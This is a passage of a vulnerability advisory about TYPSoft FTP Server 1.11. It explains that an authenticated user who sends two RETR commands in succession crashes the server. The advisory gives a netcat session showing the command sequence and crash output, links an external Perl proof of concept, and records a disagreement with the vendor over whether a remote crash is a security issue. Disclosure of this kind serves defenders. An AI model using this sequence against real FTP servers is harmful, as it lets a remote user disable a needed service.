 Login/Quit message, logs, Multi Language
 and many other things.



DETAILS

Typsoft ftp server does not properly support the
 RETR command. When "Sub Directory Include" is checked
 in the user config. This is exploitable by authenticated
 users to TYPSoft ftpd.



POC
1. by requesting 2 RETR [string] commands in succession

C:\>nc -v 192.168.0.2 21
ftpserv [192.168.0.2] 21 (ftp) open
220 TYPSoft FTP Server 1.11 ready...
USER ok
331 Password required for ok.
PASS ok
230 User ok logged in.
RETR 0
150 Opening data connection for 0.
RETR 0
150 Opening data connection for 0.
[ crash here ]
C:\>

Exception ESocketException in module ftpserv.exe at 000862A6
"no port specified"

note: string length has no effect and
       does not appear exploitable.

response:

Well i dont see any security problem except that TFS will raise an error
because the socket was not open on the second RETR

It's more a bug that a security problem except if you show me the opposite.

reply:

see attatched perl POC
http://www.exploitlabs.com/files/advisories/typsoft-poc.zip

it demonstrates a full crash ( program exit ) from remote.
note: a remote DOS[crash] is classified as a security issue, even if it does
not
lead to compromise, due to the fact that a remote user ( not
administrative )
can disable[crash] a (needed) service.


response:
---------
[none]
